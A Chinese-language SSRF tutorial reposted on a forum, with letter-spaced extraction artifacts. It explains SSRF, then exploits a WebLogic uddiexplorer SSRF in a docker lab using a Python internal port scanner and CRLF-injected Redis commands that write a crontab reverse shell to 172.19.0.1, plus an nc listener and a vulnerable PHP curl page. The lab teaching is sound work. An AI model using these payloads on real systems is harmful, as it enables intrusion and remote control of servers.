搜索

[18112] 2020-08-12_ssrf扫盲贴，关于测试的那些事

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-08-12_ssrf扫盲贴，关于测试的那些事 s s r f   扫 盲 贴 ， 关 于 测 试 的 那 些 事 L o r e n 麟   H A C K 之 道   2 0 2 0 - 0 8 - 1 2 序 言 序 言 第 一 次 接 触 S S R F ， 还 是 在 乌 云 的 猪 猪 侠 大 佬 的 分 享 ， 现 在 很 多 同 志 还 是 不 太 了 解 ， 我 做 一 个 简 单 的 描 述 ， 有 不 对 的 地 方 可 以 多 多 交 流 S s r f ( S e r v e r - S i d e   R e q u e s t   F o r g e r y : 服 务 器 端 请 求 伪 造 )   c s r f （ C r o s s - s i t e   r e q u e s t   f o r g e r y : 跨 站 请 求 伪 造 ） 从 这 两 个 讲 解 上 来 看 差 别 是 不 是 不 大 ， 今 天 给 大 家 讲 这 个 ， 我 也 是 考 虑 了 很 多 ， 主 题 是 前 端 漏 洞 ， s s r f 并 不 算 是 前 端 漏 洞 ， 但 它 和 c s r f 的 相 似 性 ， 让 我 一 直 想 给 大 家 介 绍 一 下 ， 尽 量 避 免 大 家 对 两 个 漏 洞 的 混 淆 。 S s r f 漏 洞 漏 洞 s s r f ( S e r v e r - S i d e   R e q u e s t   F o r g e r y : 服 务 器 端 请 求 伪 造 ) :   是 一 种 由 攻 击 者 构 造 形 成 由 服 务 端 发 起 请 求 的 一 个 安 全 漏 洞 。 一 般 情 况 下 ， S S R F 攻 击 的 目 标 是 从 外 网 无 法 访 问 的 内 部 系 统 。 （ 正 是 因 为 它 是 由 服 务 端 发 起 的 ， 所 以 它 能 够 请 求 到 与 它 相 连 而 与 外 网 隔 离 的 内 部 系 统 ） s s r f 漏 洞 成 因 漏 洞 成 因 都 是 由 于 服 务 端 提 供 了 从 其 他 服 务 器 应 用 获 取 数 据 的 功 能 且 没 有 对 目 标 地 址 做 过 滤 与 限 制 。 也 就 是 说 ， 对 于 为 服 务 器 提 供 服 务 的 其 他 应 用 没 有 对 访 问 进 行 限 制 ， 如 果 我 构 造 好 我 的 访 问 包 ， 那 我 就 有 可 能 利 用 目 标 服 务 对 他 的 其 他 服 务 器 应 用 进 行 调 用 。 漏 洞 示 例 漏 洞 示 例 我 们 可 以 测 试 一 下 ， 百 度 查 看 I P ， 直 接 在 百 度 搜 索 I P 就 会 出 现 本 机 的 I P
就 是 上 图 这 种 效 果 ， 那 我 在 利 用 百 度 翻 译 这 个 页 面 会 是 什 么 效 果 呢 同 样 是 对 I P 的 查 询 ， 但 是 我 得 到 的 I P 不 一 样 了 ， 这 就 s s r f 漏 洞 ， 翻 译 页 面 执 行 了 他 本 身 的 服 务 ， 但 搜 索 的 内 容 也 同 样 执 行 了 ， 系 统 默 认 为 是 本 服 务 器 执 行 的 内 容 ， 而 不 是 直 接 调 用 的 已 知 结 果 ， 就 在 翻 译 页 面 所 部 署 的 服 务 器 上 直 接 执 行 了 I P 的 查 询 ， 也 就 是 这 这 个 翻 译 中 的 I P 其 实 是 他 本 身 服 务 务 器 的 外 网 I P 了 。 漏 洞 利 用 漏 洞 利 用 W e b l o g i c - s s r f 漏 洞 利 用 漏 洞 利 用 首 先 我 们 d o c k e r 靶 场 环 境 ， 构 建 出 其 中 的 w e b l o g i c - s s r f 漏 洞 。 ( 就 不 描 述 了 ， 有 疑 问 的 可 以 私 信 我 交 流 ) 访 问 我 们 搭 建 好 的 环 境
S s r f 漏 洞 存 在 于 u d d i e x p l o r e r / S e a r c h P u b l i c R e g i s t r i e s . j s p 这 个 页 面 之 下 我 们 要 构 造 我 们 的 g e t 数 据 包 ， 能 过 数 据 包 去 探 测 目 标 网 站 ， 来 判 断 是 否 存 在 目 标 内 容 ， 比 如 说 端 口 ， 比 如 说 内 网 的 存 在 活 主 机 这 时 候 我 们 可 以 利 用 p y t h o n 写 一 个 简 单 的 脚 本 来 利 用 这 个 漏 洞 ， 批 量 的 查 探 目 标 ， 红 框 中 是 这 个 小 程 序 的 使 用 方 法 ， 建 议 新 手 自 己 手 动 敲 一 下 ， 当 然 我 会 把 小 工 具 共 享 。
#   - * -   c o d i n g :   u t f - 8   - * - i m p o r t   r e i m p o r t   s y s i m p o r t   t i m e i m p o r t   t h r e a d i m p o r t   r e q u e s t s d e f   s c a n ( i p _ s t r ) :     p o r t s   =   ( ' 7 0 0 1 ' , ' 6 3 7 9 ' )     f o r   p o r t   i n   p o r t s :         e x p _ u r l   =   " h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 1 7 : 7 0 0 1 / u d d i e x p l o r e r / S e a r c h P u b l i c R e g i s t r i e s . j s p ? o p e r a t o r = h t t p : / / % s : % s & r d o S e a r c h = n a m e & t x t S e a r c h n a m e = s d f & t x t S e a r c h k e y = & t x t S e a r c h f o r = & s e l f o r = B u s i n e s s + l o c a t i o n & b t n S u b m i t = S e a r c h " % ( i p _ s t r , p o r t )         t r y :             r e s p o n s e   =   r e q u e s t s . g e t ( e x p _ u r l ,   t i m e o u t = 1 5 ,   v e r i f y = F a l s e )             # S S R F 判 断             r e _ s u l t 1   =   r e . f i n d a l l ( ' w e b l o g i c . u d d i . c l i e n t . s t r u c t u r e s . e x c e p t i o n . X M L _ S o a p E x c e p t i o n ' , r e s p o n s e . c o n t e n t )             # 丢 失 连 接 . 端 口 连 接 不 上             r e _ s u l t 2   =   r e . f i n d a l l ( ' b u t   c o u l d   n o t   c o n n e c t ' , r e s p o n s e . c o n t e n t )             r e _ s u l t 3   =   r e . f i n d a l l ( ' N o   r o u t e   t o   h o s t ' , r e s p o n s e . c o n t e n t )                         i f   l e n ( r e _ s u l t 1 ) ! = 0   a n d   l e n ( r e _ s u l t 2 ) = = 0   a n d   l e n ( r e _ s u l t 3 ) = = 0 :                 p r i n t   i p _ s t r + ' : ' + p o r t         e x c e p t   E x c e p t i o n ,   e :             p a s s d e f   f i n d _ i p ( i p _ p r e f i x ) :     ' ' '     给 出 当 前 的 1 9 2 . 1 6 8 . 1   ， 然 后 扫 描 整 个 段 所 有 地 址     ' ' '     f o r   i   i n   r a n g e ( 1 , 2 5 6 ) :         i p   =   ' % s . % s ' % ( i p _ p r e f i x , i )         t h r e a d . s t a r t _ n e w _ t h r e a d ( s c a n ,   ( i p , ) )         t i m e . s l e e p ( 3 ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :     c o m m a n d a r g s   =   s y s . a r g v [ 1 : ] 经 过 探 测 ， 我 们 发 现 了 内 网 的 一 个 I P 存 在 6 3 7 9 端 口 ， 也 就 是 r e d i s 服 务 我 们 这 里 要 发 送 几 行 代 码 发 送 三 条 r e d i s 命 令 ， 将 弹 s h e l l 脚 本 写 入 / e t c / c r o n t a b ： s e t   1   " n n n n *   *   *   *   *   r o o t   b a s h   - i   > &   / d e v / t c p / 1 7 2 . 1 9 . 0 . 1 / 2 1   0 > & 1 n n n n " c o n f i g   s e t   d i r   / e t c / c o n f i g   s e t   d b f i l e n a m e   c r o n t a b s a v e 把 这 三 条 命 令 通 过 g e t 包 注 入 进 去 ， 先 要 将 命 令 用 u r l 进 行 编 码 注 意 ， 换 行 符 是 “ r n ” ， 也 就 是 “ % 0 D % 0 A ” 。 t e s t % 0 D % 0 A % 0 D % 0 A s e t % 2 0 1 % 2 0 % 2 2 % 5 C n % 5 C n % 5 C n % 5 C n * % 2 0 * % 2 0 * % 2 0 * % 2 0 * % 2 0 r o o t % 2 0 b a s h % 2 0 - i % 2 0 % 3 E % 2 6 % 2 0 % 2 F d e v % 2 F t c p % 2 F 1 7 2 . 1 9 . 0 . 1 % 2 F 2 1 % 2 0 0 % 3 E % 2 6 1 % 5 C n % 5 C n % 5 C n % 5 C n % 2 2 % 0 D % 0 A c o n f i g % 2 0 s e t % 2 0 d i r % 2 0 % 2 F e t c % 2 F % 0 D % 0 A c o n f i g % 2 0 s e t % 2 0 d b f i l e n a m e % 2 0 c r o n t a b % 0 D % 0 A s a v e % 0 D % 0 A % 0 D % 0 A a a a 然 后 我 们 把 构 造 好 的 数 据 包 通 过 b u r p 进 行 发 送
我 们 去 看 一 下 ， 我 们 成 功 反 弹 到 了 s h e l l n c   – l   – p   2 1 到 这 ， 我 们 的 w e b l o g i c 漏 洞 利 用 算 是 告 一 段 落 ， 还 有 其 他 的 方 式 利 用 这 种 漏 洞 ， 就 要 大 家 自 己 去 尝 试 了 ， 渗 透 测 试 不 是 一 成 不 变 的 ， 有 可 能 你 按 照 我 的 文 章 一 样 做 不 出 这 样 的 效 果 ， 有 可 能 一 个 命 令 的 权 限 问 题 就 会 让 你 的 整 个 辛 苦 都 白 废 掉 。 根 据 自 己 的 环 境 去 分 析 ， 了 解 第 一 条 命 令 的 目 的 和 用 处 ， 你 才 可 以 更 好 的 做 安 全 ， 有 很 多 人 说 ， 其 实 网 络 安 全 很 好 做 ， 只 要 你 足 够 细 心 ， 没 有 什 么 特 别 复 杂 的 问 题 的 。 普 通 利 用 普 通 利 用 网 络 请 求 支 持 的 协 议 如 下 h t t p ， h t t p s ， f i l e ， f t p ， m a i l t o ， j a r ， n e t d o c 对 比 p h p 的 s s r f ， j a v a 这 块 利 用 相 对 局 限 现 在 假 设 我 方 是 一 个 应 用 服 务 器 ， 上 面 部 署 了 一 个 存 在 s s r f 漏 洞 的 应 用
h t m l > < b o d y > < f o r m   n a m e = " p x "   m e t h o d = " p o s t "   a c t i o n = " h t t p : / / l o c a l h o s t : 8 0 8 1 / s s r f / a . p h p " > < i n p u t   t y p e = " t e x t "   n a m e = " u r l "   v a l u e = " " > < i n p u t   t y p e = " s u b m i t "   n a m e = " c o m m i t "   v a l u e = " s u b m i t " > < / f o r m > < s c r i p t > < / s c r i p t > < / b o d y > < / h t m l > 及 对 应 p h p 文 件 < ? p h p i f   ( i s s e t ( $ _ P O S T [ ' u r l ' ] ) ) { $ l i n k   =   $ _ P O S T [ ' u r l ' ] ; $ f i l e n a m e   =   ' . / c u r l e d / ' . r a n d ( ) . ' t x t ' ; $ c u r l o b j   =   c u r l _ i n i t ( $ l i n k ) ; $ f p   =   f o p e n ( $ f i l e n a m e , " w " ) ; c u r l _ s e t o p t ( $ c u r l o b j ,   C U R L O P T _ F I L E ,   $ f p ) ; c u r l _ s e t o p t ( $ c u r l o b j ,   C U R L O P T _ H E A D E R ,   0 ) ; c u r l _ e x e c ( $ c u r l o b j ) ; H t m l 访 问 的 效 果 如 下
我 们 在 这 个 框 中 输 入 一 个 网 址 并 提 交 ， 查 看 返 回 结 果 返 回 来 的 页 面 中 打 开 了 百 度 的 页 面 ， 可 是 我 的 链 接 却 是 a . p h p ， 也 就 是 说 访 问 百 度 网 站 的 并 不 在 浏 览 器 中 ， 而 是 嵌 套 在 了 这 个 p h p 中 ， 如 果 是 在 外 网 访 问 的 这 个 页 面 ， 那 就 是 说 ， 这 个 百 度 其 实 是 由 服 务 器 访 问 ， 而 不 是 攻 击 方 访 问 。 可 是 他 返 回 了 值 。 这 个 漏 洞 主 要 的 攻 击 利 用 是 用 于 外 网 对 内 网 的 一 个 利 用 ， 如 果 内 网 的 某 台 主 机 上 存 在 漏 洞 或 可 利 用 文 件 ， 那 我 们 就 可 以 用 这 个 漏 洞 加 以 利 用 比 如 我 们 在 外 网 调 用 一 个 内 网 才 可 以 到 达 的 s h e l l
利 用 s s r f 漏 洞 可 以 达 到 许 多 目 的 ， 虽 然 这 个 漏 洞 利 用 起 来 复 杂 ， 但 是 在 目 标 站 没 有 什 么 明 显 漏 洞 时 ， 利 用 s s r f 对 内 网 进 行 一 个 探 测 ， 很 有 可 能 会 有 意 外 收 获 的 。 漏 洞 寻 找 漏 洞 寻 找 在 在 s s r f 漏 洞 的 挖 掘 过 程 中 ， 我 们 要 注 意 以 下 几 点 漏 洞 的 挖 掘 过 程 中 ， 我 们 要 注 意 以 下 几 点 分 享 ： 通 过 U R L 地 址 分 享 网 页 内 容 ， 页 面 链 接 会 直 接 带 入 其 他 网 站 链 接 在 线 分 析 业 务 ， 调 用 外 网 图 片 业 务 ， 转 码 业 务 文 章 转 载 与 分 享 等
这 几 点 的 共 性 就 在 于 会 调 用 其 他 业 务 ， 有 可 能 是 内 网 的 ， 也 有 可 能 是 外 网 的 ， 当 攻 击 者 发 现 这 个 点 可 以 对 内 网 资 源 进 行 访 问 时 ， 就 有 可 能 被 攻 击 者 利 用 。 在 寻 找 的 过 程 中 ， 我 们 一 定 要 学 会 分 辨 真 假 在 寻 找 的 过 程 中 ， 我 们 一 定 要 学 会 分 辨 真 假 这 个 过 程 ， 我 们 可 以 利 用 b u r p 对 我 们 的 访 问 进 行 一 个 截 断 ， s s r f 漏 洞 ， 是 服 务 器 会 发 起 你 构 造 的 请 求 ， 所 以 我 们 本 地 浏 览 器 是 不 会 存 在 访 问 这 个 请 求 的 数 据 包 的 ， 也 就 是 说 ， 我 们 只 会 截 到 一 个 发 往 服 务 器 的 请 求 包 ， 而 不 会 有 对 其 他 地 址 的 请 求 ， 比 如 我 们 上 面 讲 的 百 度 翻 译 的 例 子 ， 我 们 只 有 访 问 百 度 翻 译 的 数 据 包 ， 但 没 有 百 度 查 I P 的 数 据 包 查 I P 的 数 据 其 实 是 百 度 翻 译 服 务 器 所 发 送 ， 大 家 如 果 不 好 分 辨 这 个 是 不 是 s s r f 的 话 ， 就 可 以 从 数 据 包 方 面 入 手 了 总 结 总 结 针 对 s s r f 漏 洞 ， 并 没 有 可 以 像 其 他 漏 洞 一 样 的 那 种 简 单 工 具 ， 如 果 发 现 了 漏 洞 要 大 家 来 手 工 去 构 造 我 们 的 p a y l o a d ， 去 实 际 测 试 漏 洞 危 害 和 内 容 ， 比 如 说 上 面 讲 到 的 百 度 的 例 子 ， 这 个 是 s s r f 漏 洞 ， 但 大 家 没 有 可 以 利 用 的 权 限 ， 只 是 可 以 发 现 他 的 I P 地 址 而 已 ， 针 对 性 的 分 析 这 个 漏 洞 ， 有 可 能 漏 洞 后 面 是 一 片 大 森 林 ， 也 有 可 能 ， 漏 洞 后 面 什 么 都 没 有 ， 但 这 个 要 自 己 去 发 掘 。 作 者 ： L o r e n 麟           文 章 来 源 ： F r e e B u f 关 注 公 众 号 关 注 公 众 号 : H A C K 之 道 之 道

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理